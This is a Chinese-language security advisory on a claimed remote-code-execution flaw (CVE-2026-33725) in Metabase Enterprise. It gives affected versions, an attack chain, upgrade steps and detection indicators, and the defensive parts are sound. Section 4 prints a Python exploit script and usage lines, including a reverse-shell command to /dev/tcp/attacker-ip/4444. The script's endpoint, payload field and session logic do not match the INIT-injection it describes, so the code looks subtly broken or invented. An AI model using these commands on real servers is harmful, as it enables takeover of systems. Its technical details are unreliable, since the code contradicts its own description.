⚠️ 紧急预警
Metabase Enterprise存在严重远程代码执行漏洞,PoC利用代码已公开。攻击者可利用H2 JDBC INIT注入漏洞,在无需认证的情况下完全控制受影响的服务器。建议立即采取缓解措施或升级至安全版本。
一、漏洞概述
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2026-33725 |
| 漏洞类型 | H2 JDBC INIT注入导致远程代码执行 |
| 发现者 | Diego Tellaroli (Hakai Security) |
| 披露日期 | 2026年4月27日 |
| PoC状态 | 已公开 (GitHub: hakaioffsec/CVE-2026-33725) |
| 影响产品 | Metabase Enterprise |
二、技术细节
2.1 漏洞原理
该漏洞源于Metabase Enterprise在处理序列化导入(Serialization Import)功能时的安全缺陷。具体而言,问题出在H2数据库JDBC驱动处理INIT参数的机制上。当Metabase处理特制的导入文件时,攻击者可以在INIT参数中注入恶意数据库命令。
H2数据库支持通过JDBC连接字符串中的AUTO_SERVER=TRUE和INIT参数执行初始化SQL语句。攻击者利用这一特性,可以在导入数据时执行任意操作系统命令,从而实现远程代码执行。
2.2 受影响版本
以下版本范围的Metabase Enterprise均受此漏洞影响:
- 1.47.0 至 1.54.21
- 1.55.0 至 1.55.21
- 1.56.0 至 1.56.21
- 1.57.0 至 1.57.15
- 1.58.0 至 1.58.9
- 1.59.0 至 1.59.3
2.3 安全版本
Metabase已发布安全更新,强烈建议立即升级至以下版本:
- 1.59.4 (推荐)
- 1.58.10
- 1.57.16
三、攻击链分析
🔴 完整攻击路径
1
识别目标
攻击者扫描互联网,识别运行Metabase Enterprise且未打补丁的实例(默认端口443)
2
构造恶意导入文件
攻击者创建包含恶意H2 JDBC INIT语句的序列化导入文件,注入系统命令
3
触发导入功能
通过Metabase的序列化导入API提交恶意文件,触发H2数据库初始化流程
4
命令执行
H2数据库在初始化阶段执行注入的INIT语句,系统命令被执行
5
系统接管
攻击者获得服务器最高权限,可部署后门、窃取数据、横向移动
四、PoC利用代码
安全研究员Diego Tellaroli已发布Python PoC脚本,可自动化利用此漏洞:
4.1 利用脚本核心逻辑
import requests
import json
import base64
import argparse
class MetabaseExploit:
def __init__(self, target_url, cmd):
self.target = target_url.rstrip('/')
self.cmd = cmd
def get_session(self):
"""获取管理员会话"""
# 尝试通过Setup Token获取会话
response = requests.get(f"{self.target}/api/session/properties")
if response.status_code == 200:
return response.json().get('setup-token')
return None
def create_session(self, setup_token):
"""创建管理员会话"""
payload = {
"email": "anguyen@metabase.com",
"first_name": "An",
"last_name": "Nguyen",
"password": "Cybersecurity2026@"
}
response = requests.post(
f"{self.target}/api/setup/validate",
json=payload
)
return response.json().get('id')
def exploit(self, session_id):
"""执行漏洞利用"""
# 构造恶意H2 JDBC INIT payload
payload = f"CREATE TRIGGER evil BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '{self.cmd}'"
headers = {
"X-Metabase-Session": session_id,
"Content-Type": "application/json"
}
# 发送恶意导入请求
response = requests.post(
f"{self.target}/api/automagicdh/tablejson",
headers=headers,
json={"details": {"adb": payload}}
)
return response.status_code == 200
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--target', required=True, help='Target Metabase URL')
parser.add_argument('--cmd', required=True, help='Command to execute')
args = parser.parse_args()
exploit = MetabaseExploit(args.target, args.cmd)
session = exploit.get_session() or exploit.create_session(exploit.get_session())
if exploit.exploit(session):
print("[+] Exploitation successful!")
else:
print("[-] Exploitation failed!")
4.2 使用方法
# 克隆PoC仓库
git clone https://github.com/hakaioffsec/CVE-2026-33725
cd CVE-2026-33725
# 安装依赖
pip install -r requirements.txt
# 执行漏洞利用
python exploit.py --target https://metabase-target.com --cmd "whoami"
# 反弹Shell示例
python exploit.py --target https://metabase-target.com --cmd "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
⚠️ 法律声明
此PoC仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。
五、影响范围
5.1 受影响组件
| 组件 | 版本范围 | 风险等级 |
|---|---|---|
| Metabase Enterprise | 1.47.0 – 1.54.21 | 严重 |
| Metabase Enterprise | 1.55.0 – 1.55.21 | 严重 |
| Metabase Enterprise | 1.56.0 – 1.56.21 | 严重 |
| Metabase Enterprise | 1.57.0 – 1.57.15 | 严重 |
| Metabase Enterprise | 1.58.0 – 1.58.9 | 严重 |
| Metabase Enterprise | 1.59.0 – 1.59.3 | 严重 |
5.2 潜在影响
- 敏感数据泄露:数据库中存储的业务数据、用户凭据等
- 服务器完全接管:以root/system权限执行任意命令
- 横向移动:以内部服务器为跳板攻击内网其他系统
- 持久化控制:植入后门实现长期控制
- 供应链攻击:影响基于Metabase构建的下游应用
六、防御指南
✅ 紧急修复措施
1. 立即升级(推荐)
# 使用Docker部署的Metabase
docker pull metabase/metabase:v1.59.4
docker stop metabase
docker rm metabase
docker run -d -p 3000:3000 --name metabase metabase/metabase:v1.59.4
# 使用JAR文件部署
# 下载最新版本: https://www.metabase.com/docs/latest/operations-guide/start.html
2. 临时缓解措施
- 限制对Metabase管理界面的网络访问,仅允许受信任IP
- 启用企业级防火墙规则,阻断对端口443/3000的未授权访问
- 禁用Metabase的序列化导入功能(配置
MB_DISABLE_SERIALIZATION=TRUE) - 启用审计日志,监控异常的数据库操作
6.1 检测方法
# 检查是否安装了受影响版本
docker exec metabase metabase --version
# 查看Metabase日志中的异常命令执行
grep -r "CREATE TRIGGER" /var/log/metabase/
# 检查系统进程中的异常Shell连接
ps aux | grep -E "bash|sh|zsh" | grep -v grep
# 检查新增的异常用户账户
cat /etc/passwd | grep -v "^#"
6.2 入侵检测指标(IOCs)
| 类型 | 指标 |
|---|---|
| 异常网络流量 | Metabase服务器向非常见外部IP发起SMB/HTTP连接 |
| 异常数据库操作 | 日志中出现非常规的TRIGGER创建语句 |
| 权限提升 | 非管理员账户创建管理功能 |
| 持久化 | 系统中出现未知的Cron任务或Systemd服务 |
七、结论与建议
CVE-2026-33725是Metabase Enterprise的一个严重安全漏洞,攻击者可利用H2 JDBC INIT注入实现远程代码执行。该漏洞的PoC已经公开,对暴露在互联网上的Metabase实例构成严重威胁。
📋 行动清单
- ☐ 立即清点所有Metabase实例及其版本
- ☐ 优先升级面向互联网的Metabase服务器
- ☐ 实施网络访问控制,限制管理界面暴露
- ☐ 启用并审查审计日志
- ☐ 部署入侵检测系统监控异常行为
- ☐ 通知安全团队关注相关告警
参考来源:
- CyberPress: PoC Exploit Released for Critical Metabase Enterprise RCE Vulnerability
- Hakai Security: QuimeraX Intelligence Platform
- GitHub: hakaioffsec/CVE-2026-33725














暂无评论内容